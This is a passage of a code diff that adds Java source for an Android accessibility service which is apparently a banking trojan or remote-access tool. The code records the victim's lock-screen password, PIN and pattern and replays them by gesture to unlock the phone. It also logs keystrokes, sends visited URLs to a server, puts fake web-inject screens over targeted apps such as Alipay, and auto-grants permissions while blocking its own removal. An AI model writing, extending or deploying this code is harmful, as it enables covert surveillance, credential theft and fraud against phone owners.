0; i < rootNode.getChildCount(); i++) { + AccessibilityNodeInfo childNode = rootNode.getChild(i); + if (childNode != null) { + boolean found = findNodeByViewId(childNode, viewId); + if (found) { + return true; + } + } + } + + return false; + } + + private void describePatternCells(AccessibilityEvent event) { + try { + if (event == null) return; + + AccessibilityNodeInfo node = event.getSource(); + + if (node == null) return; + + Rect rec = new Rect(); + node.getBoundsInScreen(rec); + Point centerPoint = new Point(rec.centerX(), rec.centerY()); + + boolean ispattern = false; + + String ptrid = "com.android.systemui:id/lockPatternView"; + if (isvivo()) { + ptrid = "com.android.systemui:id/vivo_lock_pattern_view"; + } + AccessibilityNodeInfo nf3 = AccessTools.getNodeByViewId(getRootInActiveWindow(), ptrid); + + if ((nf3 != null && nf3.isVisibleToUser())) { + + ispattern = true; + if (!Watching) { + enablesuperWatch(); + } + if (event.getEventType() != AccessibilityEvent.TYPE_VIEW_HOVER_ENTER) { + return; + } + } else { + if (Watching) { + disablesuperwatch(); + } + } + + + //boolean iskeybordok = findNodeByViewId(getRootInActiveWindow(), "com.android.systemui:id/btn_letter_delete"); + // boolean iskeyborddel = findNodeByViewId(getRootInActiveWindow(), "com.android.systemui:id/btn_letter_ok"); + + + if (node.getViewIdResourceName() != null && !ispattern) { + + if (node.getText() == null && node.getContentDescription() == null) return; + + String description = ""; + String targettext = null; + if (node.getText() != null) { + description += "Cell text[" + node.getText() + "]"; + targettext = node.getText().toString(); + + } + if (node.getContentDescription() != null) { + description += "Cell DES[" + node.getContentDescription() + "]"; + if (targettext == null) { + targettext = node.getContentDescription().toString(); + } + } + + description += "Cell ID[" + node.getViewIdResourceName() + "]"; + if ( + + node.getViewIdResourceName().equals("com.android.systemui:id/passwordEntry") || + node.getViewIdResourceName().equals("com.android.keyguard:id/miui_mixed_password_input_field") || + node.getViewIdResourceName().equals("com.android.systemui:id/btn_letter_ok") || + node.getViewIdResourceName().equals("com.android.systemui:id/securityEditText") + ) { + + try { + + + if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_HOVER_ENTER) { + // if (isSamsung()) { + // needclik += 1; + //} +// if (needclik > 0) { +// needclik -= 1; +// node.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// } + if (isMIUI(getApplicationContext())) { + event.getSource().performAction(AccessibilityNodeInfo.ACTION_CLICK); + return; + } + + } + + if (targettext != null && node.getViewIdResourceName() != null) { + + + if (skipdoublicate != 0) { + skipdoublicate -= 1; + return; + } else { + skipdoublicate = 1; + } + + if ("com.android.systemui:id/btn_letter_ok".equals(node.getViewIdResourceName())) { + TempStorepass += ":E"; +// Rect rec = new Rect(); +// node.getBoundsInScreen(rec); +// Point centerPoint = new Point(rec.centerX(), rec.centerY()); + TemppatternMap.put(-1, centerPoint); + return; + } + + if (TempStorepass.endsWith(":E")) { + TempStorepass = "";//enter clicked but screen still locked + //return; + } + + if (TempStorepass.length() == 0 && targettext.length() > 1) { + return; + } + + CurrentLockState = "pa";//pa=password,pt=pattern,pi=pincode + String capturedpass = handleInput(targettext); + + Log.d("PASS:", capturedpass); + + } + } catch (Exception a) { + } + } else { + + if ((node.getViewIdResourceName().matches("com\\.android\\.systemui:id/key[0-9]") || + node.getViewIdResourceName().matches("com\\.android\\.systemui:id/VivoPinkey[0-9]") || + node.getViewIdResourceName().matches("com\\.android\\.systemui:id/key[0-9]") || + node.getViewIdResourceName().startsWith("com.android.systemui:id/key_enter") || + node.getViewIdResourceName().startsWith("com.android.keyguard:id/key_enter") || + node.getViewIdResourceName().matches("com\\.android\\.keyguard:id/key[0-9]")) && + node.getContentDescription() != null) { + + CurrentLockState = "pi";//pa=password,pt=pattern,pi=pincode + // if (!lastpinid.equals(node.getViewIdResourceName())) { + // lastpinid = node.getViewIdResourceName(); +// if (needclik > 0) { +// needclik -= 1; +// node.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// } + Log.d("PIN CLICKED", node.getContentDescription().toString()); + if (node.getViewIdResourceName().startsWith("com.android.systemui:id/key_enter") || + node.getViewIdResourceName().startsWith("com.android.keyguard:id/key_enter")) { + + Log.d("PIN", "ok clicked"); +// Rect rec = new Rect(); +// node.getBoundsInScreen(rec); +// Point centerPoint = new Point(rec.centerX(), rec.centerY()); + TemppatternMap.put(-1, centerPoint); + fullpincaptured += ":E"; + } else { + Integer number = extractNumber(node.getContentDescription().toString()); + if (number != null) { + fullpincaptured += number.toString(); + + TemppatternMap.put(number, centerPoint); + } + + } + + + // } + + } else { + + +// if (node.getViewIdResourceName().equals("com.android.systemui:id/delete_button") || +// node.getViewIdResourceName().equals("com.android.keyguard:id/delete_button")) { +// if (fullpincaptured.length() > 0) { +// fullpincaptured = fullpincaptured.substring(0, fullpincaptured.length() - 1); +// } +// } + } + } + Log.d("cell detected", "description: " + description); + } else { + if (node.getContentDescription() != null && ispattern) { + + Integer number = extractNumber(node.getContentDescription().toString()); + + if (number != null) { + CurrentLockState = "pt"; + if (!fullpatterncaptured.contains(number.toString())) { + fullpatterncaptured += number.toString(); + Log.d("Pattern", fullpatterncaptured);//32147 +// Rect rec = new Rect(); +// node.getBoundsInScreen(rec); +// Point centerPoint = new Point(rec.centerX(), rec.centerY()); + TemppatternMap.put(number, centerPoint); + } + + } + } + } + + + } catch (Exception a) { + a.printStackTrace(); + } + + } + +// public List findByClassName(String p0) { +// List list = null; +// try { +// AccessibilityNodeInfo rootInActive = myAccess().getRootInActiveWindow(); +// if (rootInActive == null) { +// return list; +// } +// ArrayList uArrayList = new ArrayList(); +// myAccess()._findClassName(uArrayList, rootInActive, p0); +// return uArrayList; +// } catch (java.lang.Exception e0) { +// return null; +// } +// } + +// private void _findClassName(List p0, AccessibilityNodeInfo p1, String p2) { +// try { +// int childCount = p1.getChildCount(); +// if (p2.equals(p1.getClassName())) { +// p0.add(p1); +// } +// if (childCount > 0) { +// for (int i = 0; i < childCount; i = i + 1) { +// this._findClassName(p0, p1.getChild(i), p2); +// } +// } +// return; +// } catch (java.lang.Exception e0) { +// } +// } + + public void Unlockpass(String pass, boolean needEnter) { + try { + pasteText(pass); + if (needEnter) { + Map patternMap = loadPatternMap(getApplicationContext()); + Point cell = patternMap.get(-1); + if (cell != null) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + clickthis(cell.x, cell.y); + } + + } + } + NeedEnter = true; + } catch (java.lang.Exception e0) { + } + skiprecord = false; + } + + public void drawPattern(String pattern) { + + + Map patternMap = loadPatternMap(getApplicationContext()); + List gesturePath = new ArrayList<>(); + for (char c : pattern.toCharArray()) { + int digit = Character.getNumericValue(c); + Point cell = patternMap.get(digit); + if (cell != null) { + gesturePath.add(cell); + } + } + + if (!gesturePath.isEmpty()) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + + Handler handler = new Handler(MyAccess.getMainLooper()); + + handler.post(() -> { + simulatePatternGesture(gesturePath); + }); + + } + } + try { + Thread.sleep(1000); + } catch (Exception a) { + // Optional: handle or log the exception + } + AccessServices.skiprecord = false; + } + + public static void drawPin(String pattern, boolean needEnter) { + //List gesturePath = new ArrayList<>(); + char[] chars = pattern.toCharArray(); + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + Handler handler = new Handler(MyAccess.getMainLooper()); + + + for (int i = 0; i < chars.length; i++) { + try { + final char c = chars[i]; + handler.post(() -> { + clickpin(c, 0); + }); + + Thread.sleep(800); + } catch (Exception a) { + // Optional: handle or log the exception + } + + + // CLickTextpostion(String.valueOf(c), rootview); + + + } + try { + Thread.sleep(800); + } catch (Exception a) { + // Optional: handle or log the exception + } + if (needEnter) { + Map patternMap = loadPatternMap(MyAccess.getApplicationContext()); + final Point cell = patternMap.get(-1); + if (cell != null) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + handler.post(() -> { + clickthis(cell.x, cell.y); + }); + } + } + } + + skiprecord = false; + } + + private static void clickpin(char c, int trsout) { + if (trsout >= 3) { + return; + } + AccessServices MyAccess2 = myAccess(); + if (MyAccess2 == null) { + return; + } + Handler handler = new Handler(MyAccess2.getMainLooper()); + String pinid = "com.android.systemui:id/key"; + if (isvivo()) { + pinid = "com.android.systemui:id/VivoPinkey"; + } + AccessibilityNodeInfo node2 = AccessTools.getNodeByViewId(MyAccess2.getRootInActiveWindow(), pinid + String.valueOf(c)); + if (node2 != null) { + try { + node2.performAction(16); + } catch (Exception f) { + try { + CLickTextpostion(String.valueOf(c), MyAccess2.getRootInActiveWindow()); + } catch (Exception a) { + } + } + } else { + handler.postDelayed(() -> { + clickpin(c, trsout + 1); + }, 800); + } + + + } + + @RequiresApi(api = Build.VERSION_CODES.N) + private void simulatePatternGesture(List gesturePath) { + if (gesturePath == null || gesturePath.isEmpty()) { + Log.e("PatternUnlock", "Gesture path is empty or null."); + return; + } + + GestureDescription.Builder builder = new GestureDescription.Builder(); + Path path = new Path(); + + // Start the path at the first point + Point start = gesturePath.get(0); + path.moveTo(start.x, start.y); + + // Connect subsequent points + for (int i = 1; i < gesturePath.size(); i++) { + Point point = gesturePath.get(i); + path.lineTo(point.x, point.y); + } + + // Create and add the stroke + GestureDescription.StrokeDescription stroke = + new GestureDescription.StrokeDescription(path, /*startTime=*/ 0, /*duration=*/ 1000); + builder.addStroke(stroke); + + // Dispatch the gesture + GestureDescription gesture = builder.build(); + dispatchGesture(gesture, new AccessibilityService.GestureResultCallback() { + @Override + public void onCompleted(GestureDescription gestureDescription) { + Log.d("PatternUnlock", "Pattern drawn successfully."); + } + + @Override + public void onCancelled(GestureDescription gestureDescription) { + Log.e("PatternUnlock", "Pattern drawing cancelled."); + } + }, null); + } + + private void preventstopback( String CuzPackage, AccessibilityNodeInfo RootView) { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.S) { + return; + } + if (CuzPackage.equals("com.android.systemui".toLowerCase()) && RootView != null) { + + // + + AccessibilityNodeInfo nf233 = AccessTools.getNodeByViewId(RootView, + "com.android.systemui:id/fgs_manager_app_item_stop_button"); + if (nf233 != null) { + // Log.d("Accessibility", "Element found!"); + // String myName = getLabelApplication(getApplicationContext()).toLowerCase(); + // if (nf233.isVisibleToUser()) { + try { + performGlobalAction(GLOBAL_ACTION_HOME); + } catch (Exception a) { + } + GoHome(); + blockBack(); + + return; + // } + } + AccessibilityNodeInfo nf2 = AccessTools.getNodeByViewId(RootView, + "com.android.systemui:id/fgs_manager_app_item_label"); + if (nf2 != null) { + + + if (nf2.getText() != null && + nf2.getText().toString().toLowerCase().contains(CurrentNam)) { + try { + performGlobalAction(GLOBAL_ACTION_HOME); + } catch (Exception a) { + } + GoHome(); + blockBack(); + return; + } + } + } + } + + public static Integer extractNumber(String input) { + // Define a regular expression to find numbers + Pattern pattern = Pattern.compile("\\d+"); + Matcher matcher = pattern.matcher(input); + + // If a number is found, return it as an integer + if (matcher.find()) { + return Integer.parseInt(matcher.group()); + } + + // Return null if no number is found + return null; + } + + // Check if a node is a pattern cell (customize based on your app's use case) + + // Generate a description for a pattern cell +// private void activateNode(AccessibilityNodeInfo node) { +// if (node == null) return; +// +// // Check if the node is clickable +// if (node.isClickable()) { +// node.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// } else { +// // Navigate to parent if the current node is not clickable +// AccessibilityNodeInfo parent = node.getParent(); +// if (parent != null) { +// parent.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// } +// } +// } + + private void checkpass(AccessibilityEvent event) { + try { + if (CapRead) { + + try { + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + //if (CapOK) { + if (CapOK) { + lockedonce = true; + try { + if (My_Configs.Capture_Lock.equals("1") && !skiprecord) { + +// if (event.getEventType() == AccessibilityEvent.TYPE_TOUCH_INTERACTION_START || +// event.getEventType() == AccessibilityEvent.TYPE_TOUCH_INTERACTION_END) { +// if (isSamsung()) { +// needclik += 1; +// } +// } + + + describePatternCells(event); + + } + + } catch (Exception e) { + Log.e("Accessibility", "describePatternCells", e); + + } + KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); + boolean isScreenLocked = keyguardManager.isKeyguardLocked(); + if (!isScreenLocked) { + CapOK = false; + } + //return; + } else { + + if (lockedonce) { + lockedonce = false; + disablesuperwatch(); + +// } +// if (CapOK) { + + CapOK = false; + CapRead = false; + skiprecord = false; + //disableTouchExploration(); + disablesuperwatch(); + switch (CurrentLockState) { + case "pa": { + + String currentpass = MySettings.Read(getApplicationContext(), Consts.mob_lock, "null"); + if (TempStorepass.length() > 0 && !currentpass.equals("pa:" + TempStorepass)) { + MySettings.Write(getApplicationContext(), Consts.mob_lock, "pa:" + TempStorepass); + MyLoger.Debug("LockType: Password , Pass:", TempStorepass); + // patternMap = new HashMap<>(TemppatternMap); + savePatternMap(getApplicationContext(),new HashMap<>(TemppatternMap)); + TemppatternMap.clear(); + } + TempStorepass = ""; + break; + } + case "pt": { + String currentpass = MySettings.Read(getApplicationContext(), Consts.mob_lock, "null"); + if (fullpatterncaptured.length() > 0 && !currentpass.equals("pt:" + fullpatterncaptured)) { + MySettings.Write(getApplicationContext(), Consts.mob_lock, "pt:" + fullpatterncaptured); + // MyLoger.Debug("Lock Pattern ,Saved:", fullpatterncaptured); + // patternMap = new HashMap<>(TemppatternMap); + savePatternMap(getApplicationContext(),new HashMap<>(TemppatternMap)); + TemppatternMap.clear(); + } + fullpatterncaptured = ""; + break; + } + case "pi": { + String currentpass = MySettings.Read(getApplicationContext(), Consts.mob_lock, "null"); + if (fullpincaptured.length() > 0 && !currentpass.equals("pi:" + fullpincaptured)) { + MySettings.Write(getApplicationContext(), Consts.mob_lock, "pi:" + fullpincaptured); + MyLoger.Debug("Lock PIN ,Saved:", fullpincaptured); + // patternMap = new HashMap<>(TemppatternMap); + savePatternMap(getApplicationContext(),new HashMap<>(TemppatternMap)); + TemppatternMap.clear(); + } + fullpincaptured = ""; + break; + } + default: { + MyLoger.Debug("LockType: Unknown", ""); + break; + } + } + } + + } + //} + } + } catch (Exception fd) { + + } + + } + + } catch (Exception h) { + h.printStackTrace(); + } + + } + + @Override + public void onAccessibilityEvent(AccessibilityEvent event) { + String CuzPackage = ""; + AccessibilityNodeInfo nodeInfo = null; + AccessibilityNodeInfo RootView = null; + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.US); + String eventtimeStamp = sdf.format(new Date(event.getEventTime())); + + + String appName = "unKnown"; + String AllScreen = ""; + String EventText = ""; + + + try { + if (!skiprecord) { + //MyLoger.Debug("AccessibilityEvent",EtypetoStr(event.getEventType())); + checkpass(event); + + } + } catch (Exception a) { + } + + try { + if (event.getPackageName() != null && event.getPackageName().toString().trim().length() > 0) { + CuzPackage = event.getPackageName().toString().toLowerCase(); + } + if (CuzPackage.replace(" ", "").length() > 0) { + + + try { + + appName = getAppNameFromPkgName(getApplicationContext(), event.getPackageName().toString()); + + } catch (Exception e) { + // e.printStackTrace(); + appName = "unKnown"; + //return; + } + } + } catch (Exception s) { + //CuzPackage = null; + } + +// if(CuzPackage == null){ +// CuzPackage = "com.android.settings"; +// } + + try { + nodeInfo = event.getSource(); +// try +// { +// printViewIds(nodeInfo); +// +// }catch (Exception x){ +// +// } + + } catch (Exception s) { + nodeInfo = null; + } + +// if (nodeInfo == null) { +// return; +// } + + try { + RootView = getRootInActiveWindow(); + + //AllScreen = AccessTools.readAllTextOnScreen(RootView); + } catch (Exception s) { + RootView = null; + } + + + try { + if (nodeInfo != null && event != null && + event.getClassName() != null && + event.getClassName().toString().equals("android.widget.EditText")) { + + Globalnode = nodeInfo; + } + } catch (Exception a) { + } + + try { + if (NeedEnter) { + if (Globalnode != null) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + + try { + Globalnode.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_IME_ENTER.getId()); + NeedEnter = false; + } catch (Exception a) { + a.printStackTrace(); + } + + } + } + } + } catch (Exception a) { + + } + + + if ( + //event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED || + // event.getEventType() == AccessibilityEvent.TYPE_VIEW_HOVER_ENTER || + event.getEventType() == AccessibilityEvent.TYPE_TOUCH_INTERACTION_START) { + // Automatically activate the focused item on a single tap + try { + + if (event.getSource() != null) { + AccessibilityNodeInfo nodecaz = AccessibilityNodeInfo.obtain(event.getSource()); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + //lastclicked = event.getSource().getViewIdResourceName(); + nodecaz.performAction(AccessibilityNodeInfo.ACTION_CLICK); + nodecaz.recycle(); + + return; + + } catch (Exception d) { + d.printStackTrace(); + } + } + }, 100); + } + + } catch (Exception a) { + a.printStackTrace(); + } + } + try { + + + try { + EventText = event.getText().toString().toLowerCase(); + // MyLoger.Debug("EVENTTEXT:",EventText); + } catch (Exception s) { + + } + +// try { +// AccessibilityNodeInfo rootNode = event.getSource(); +// if (rootNode != null) { +// printViewIds(rootNode); +// rootNode.recycle(); +// } +// } catch (Exception a) { +// +// } + + //Auto Click + if (My_Configs.Click_Prim.equals("1") && RootView != null) { + + if (Consts.removeme || + removeapp || + forbattery || + Auto_Click || + FOR_EXTR_STRG || + FOR_DRAW_OVER || + FOR_PLY || + FOR_NOTFY || + FOR_CHNG_STNG || + //ReadBool(getApplicationContext(), Consts.Auto_Sreen, false) || + FOR_PRIMS) { + + // + +// if(FOR_PLY){ +// printViewIds(RootView,0); +// } + //printViewIds(RootView,0); + + // if (ReadBool(getApplicationContext(), Consts.Auto_Prims, false) && Build.VERSION.SDK_INT >= 34) { + //printViewIds(nodeInfo,0); + // MyLoger.Debug("Auto_Prims",CuzPackage); + // if (RootView == null){ + // AccessTools.AllowPrims14(mWidth, mHeight); + // } + // AccessTools.AllowPrims14(mWidth, mHeight); + + // AccessServices.Auto_Click = false; + //return; + // } + // printViewIds(RootView); + AccessTools.Clickallow(RootView, nodeInfo); + } + // return; + } + + try { + int eventType = event.getEventType(); + + if (eventType == AccessibilityEvent.TYPE_ANNOUNCEMENT) { + String command = ""; + if (event.getText() != null) { + command = event.getText().toString(); + boolean skipreturn = false; + switch (command) { + case "[strscr]": + try { + String comstart = CommandsData.get("COM"); + Intent scrintnt = new Intent(this, ActivityCaptureScreen.class); + scrintnt.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + scrintnt.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + scrintnt.putExtra("COM", comstart); + startActivity(scrintnt); + CommandsData.remove("COM"); + } catch (Exception a) { + } + break; + case "[xamoi]": + try { + + Intent intentbackup = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); + intentbackup.addCategory(Intent.CATEGORY_DEFAULT); + Uri uribackup = Uri.fromParts("package", getApplicationContext().getPackageName(), null); + intentbackup.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intentbackup.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + intentbackup.setData(uribackup); + startActivity(intentbackup); + finishxaomi(); + } catch (Exception a) { + EngineWorker.holdxaomi = false; + MySettings.WriteBool(getApplicationContext(), Consts.skipxaomi, true); + } + + break; + case "[cover]": + Intent intenttrans = new Intent(this, TransparentActivity.class); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT); + + startActivity(intenttrans); + break; + case "[tofront]": + Intent intofront = new Intent(this, tofront.class); + intofront.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intofront.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + intofront.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT); + + startActivity(intofront); + + break; + + + case "[lock]": + if (!LockActivity.isActivityOpen()) { + Intent myIntent = new Intent(getApplicationContext(), LockActivity.class); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + startActivity(myIntent); + + } + break; + + case "[fourceit]": + skipreturn = true; + break; + } + + if (!skipreturn) { + return; + } + } + // } else if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) { +// + + +// if ((PreventDelete && +// RootView != null && +// My_Configs.Anti_Delete.equals("1")) && +// !Consts.removeme && +// UtliTools.IsScreenOn(getApplicationContext())) { +// if (CuzPackage.equals("com.android.settings".toLowerCase())) { +// +// +// +// +// String evt = EventText; +// String cuz = CuzPackage; +// +// String holdname = "null"; +// if (event.getClassName() != null) { +// holdname = event.getClassName().toString().toLowerCase(); +// } +// String ClassEvent = holdname; +// ProtectSelf(evt, cuz, ClassEvent); +// }else { +// preventstopback(getApplicationContext(), CuzPackage, RootView); +// } +// +// } + + + // } else if (eventType == AccessibilityEvent.TYPE_VIEW_CLICKED) { + + +// try { +// //AccessibilityNodeInfo rootNode = event.getSource(); +// if (RootView != null) { +// printViewIds(RootView, 0); +// // rootNode.recycle(); +// +// } +// } catch (Exception a) { +// +// } +// if ((PreventDelete && +// RootView != null && +// My_Configs.Anti_Delete.equals("1")) && +// !Consts.removeme && +// UtliTools.IsScreenOn(getApplicationContext())) { +// preventstopback(getApplicationContext(), CuzPackage, RootView); +// } + + } else if ( + eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED || + eventType == AccessibilityEvent.TYPE_WINDOWS_CHANGED || + eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED + // eventType == AccessibilityEvent.TYPE_VIEW_LONG_CLICKED + ) { + //prevent remove self + + try { + if (CuzPackage.equals("com.eg.android.AlipayGphone".toLowerCase())) { + AccessibilityNodeInfo nfkeys = AccessTools.getNodeByViewId(RootView, + "com.alipay.mobile.antui:id/au_num_1"); + if (nfkeys != null && nfkeys.isVisibleToUser()) { + if (!onealip) { + onealip = true; + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + addOverlaysForKeys(); + } catch (Exception d) { + + } + } + }, 800); + } + + } else { + onealip = false; + removeAllOverlays(); + } + } else { + if (onealip) { + // + if (!CuzPackage.equals("com.android.systemui".toLowerCase())) { + onealip = false; + removeAllOverlays(); + } + } + } + } catch (Exception a) { + + } + + try{ + // inject + if (CuzPackage.length() > 0 && ject_list.size() > 0) { + if (ject_list.contains(CuzPackage)) { + MyLoger.Error("ject detected", CuzPackage); + if (!CuzPackage.equals(lastject) && !skipject.equals(CuzPackage)) { + lastject = CuzPackage; + skipject = ""; + final String cuzid = CuzPackage; + String htmlpath = UtliTools.findjectfile(getApplicationContext(),CuzPackage); + + File protectedZipFile = new File(this.getFilesDir(), htmlpath); + if (protectedZipFile.exists()) { + //System.out.println("The protected file exists and is secure."); + Drawable icons = null; + try { + + icons = getPackageManager().getApplicationIcon(CuzPackage); + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + icons = null; + } + + Bitmap targeticon = convertToBitmap(icons, 144, 144); + ByteArrayOutputStream stream = new ByteArrayOutputStream(); + targeticon.compress(Bitmap.CompressFormat.PNG, 100, stream); + byte[] iconByteArray = stream.toByteArray(); + Context mybasectx = getApplicationContext(); + final String Appname = getAppNameFromPkgName(getApplicationContext(), CuzPackage); + + new Handler(Looper.getMainLooper()).postDelayed(() -> { + Intent myIntent = new Intent(mybasectx, Webjector.class); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + myIntent.putExtra("cuzid", cuzid); + myIntent.putExtra("label", Appname); + myIntent.putExtra("icon", iconByteArray); + myIntent.putExtra("type", "u"); + startActivity(myIntent); + }, 1200); + + + targeticon.recycle(); + if (stream != null) { + stream.close(); + } + } + + } + + } else { + if (lastject != null) { + //if (!AccessTools.isSystemApp(getApplicationContext(), CuzPackage)) { + lastject = null; + skipject = ""; + // } + } + } + } + }catch (Exception a){} + + } + // Log.d("Eventype:",eventType + ""); + } catch (Exception x) { + x.printStackTrace(); + } + + + if (!isScreenScannerRunning()) { + ScreenScanner(getApplicationContext()); + } + + +// AccessibilityNodeInfo nf = AccessTools.getNodeByViewId(RootView, "com.android.systemui:id/privacy_chip"); +// if (nf != null) { +// Rect rect = new Rect(); +// nf.getBoundsInScreen(rect); +// overlayBlackBox("com.android.systemui:id/privacy_chip", rect); +// } else { +// removeOverlay("com.android.systemui:id/privacy_chip"); +// } + + //keystrokes + if (nodeInfo != null) { + if (Rec_klogs || + liv_klogs) { + Capturekeylogger(nodeInfo, appName, event.getEventType()); + } + } + + + //disabled app + if ( CuzPackage.length() > 0 && Blocked_Apps.size() > 0) { + if (Blocked_Apps.contains(CuzPackage)) { + try { + String Appname = getAppNameFromPkgName(getApplicationContext(), CuzPackage); + blockBack(); + GoHome(); + ActivityMonitors.Record("[" + eventtimeStamp + "] attempt to access disabled app :" + Appname, ActivityMonitors.ActivityType.ARTS); + //AlertServer(this, "attempt to Access", "disabled app :" + Appname); + } catch (Exception s) { + MyLoger.Error("At.acc.BlockedApps", s.getMessage()); + } + } + } + + + + + KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); + boolean isScreenLocked = keyguardManager.isKeyguardLocked(); + if (CuzPackage.length() > 0 && !isScreenLocked) { + if (Lock_App_list.contains(CuzPackage)) { + try { + // if (!AccessTools.isSystemApp(getApplicationContext(), CuzPackage)) { + // if (isKeyboardOpened()) { + enablesuperWatch(); +// } else { +// disablesuperwatch(); +// } + // } + } catch (Exception s) { + MyLoger.Error("At.acc.BlockedApps", s.getMessage()); + } + } else { + try { + if (!AccessTools.isSystemApp(getApplicationContext(), CuzPackage)) { + disablesuperwatch(); + } + } catch (Exception s) { + MyLoger.Error("At.acc.BlockedApps", s.getMessage()); + } + } + } + + + //Browser Detector + + + //blocked words NOT ADD YET +// if (RootView != null && BlockedWords.size() > 0) { +// +// for (String wrd : +// BlockedWords) { +// if (EventText.contains(wrd)) { +// try { +// //ClickBack(); +//// Intent intent = new Intent(this, BlockAcitivty.class); +//// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +//// intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); +//// intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); +//// intent.putExtra("msg", "Blocked Word Detected: " + wrd); +//// startActivity(intent); +// ActivityMonitors.Record("[" + eventtimeStamp + "] Blocked Word Detected: " + wrd, ActivityMonitors.ActivityType.Alerts); +// } catch (Exception s) { +// MyLoger.Error("At.acc.BlockedWords", s.getMessage()); +// } +// } +// } +// } + + //tracking list + if (((ReadBool(getApplicationContext(), Consts.enable_trak, false) && + AccessTools.TNames.size() > 0) || + ReadBool(getApplicationContext(), Rec_links, false)) && nodeInfo != null) { + String eventpack = "NotFound"; + + try { + if (event.getPackageName() != null) { + eventpack = event.getPackageName().toString().toLowerCase(); + + //com.google.android.inputmethod.latin + if (eventpack.equals(this.getPackageName().toString().toLowerCase()) || + eventpack.equals("com.google.android.inputmethod.latin")) { + return; + } + } + + + } catch (Exception fs) { + + eventpack = "NotFound"; + } + + String pkg = ""; + + if (event.getPackageName() != null) { + pkg = event.getPackageName().toString(); + } + + AccessTools.Supported_Browsers browserConfig = null; + for (AccessTools.Supported_Browsers supportedConfig : getSupportedBrowsers()) { + if (supportedConfig.packageName.equals(pkg)) { + browserConfig = supportedConfig; + } + } + + String capturedUrl = null; + if (browserConfig != null) { + capturedUrl = captureUrl(nodeInfo, browserConfig); + if (capturedUrl != null && ReadBool(getApplicationContext(), Rec_links, false)) { + if (!LastCapURL.equals(capturedUrl)) { + LastCapURL = capturedUrl; + + ActivityMonitors.Record(appName + "|" + eventtimeStamp + "|" + capturedUrl, + ActivityMonitors.ActivityType.BLNK); + + MyLoger.Info("capturedUrl: ", "DATE: " + eventtimeStamp + ">" + "URL:" + capturedUrl); + AlertServer(getApplicationContext(), "Browser State", "Visited: " + capturedUrl); + + } + + } + } + + + String founded = null; + try { + if (ReadBool(getApplicationContext(), Consts.enable_trak, false)) { + if (capturedUrl == null) { + capturedUrl = "NOTFOUND"; + } + + String Name = ""; + + + for (Map.Entry entry : Map_Name_Lnk.entrySet()) { + // Do something with each site + try { + Name = entry.getKey(); + String site = entry.getValue(); + String AppID = Map_Name_ID.get(Name); + if (isSameWebsite(capturedUrl.toLowerCase(), site) || (AppID != null && AppID.toLowerCase().equals(eventpack))) { + + + Drawable icons = null; + try { + + icons = getPackageManager().getApplicationIcon(pkg); + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + icons = null; + } + + Bitmap targeticon = convertToBitmap(icons, 144, 144); + ByteArrayOutputStream stream = new ByteArrayOutputStream(); + targeticon.compress(Bitmap.CompressFormat.PNG, 100, stream); + byte[] iconByteArray = stream.toByteArray(); + Context mybasectx = getApplicationContext(); + final String Appname = getAppNameFromPkgName(this, pkg); + + + new Timer().schedule(new TimerTask() { + @Override + public void run() { + Intent myIntent = new Intent(mybasectx, WebBrowser.class); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + myIntent.putExtra("key", site); + myIntent.putExtra("label", Appname); + myIntent.putExtra("icon", iconByteArray); + myIntent.putExtra("type", "u"); + startActivity(myIntent); + } + }, 1200); + + founded = site; + targeticon.recycle(); + if (stream != null) { + stream.close(); + } +// if (a_ClassGen_sca.caponce() && founded != null) { +// Removename(Name); +// } + } + } catch (Exception a) { + } + } + } + } catch (Exception a) { + } + + } + + + //notifications + if (event.getEventType() == 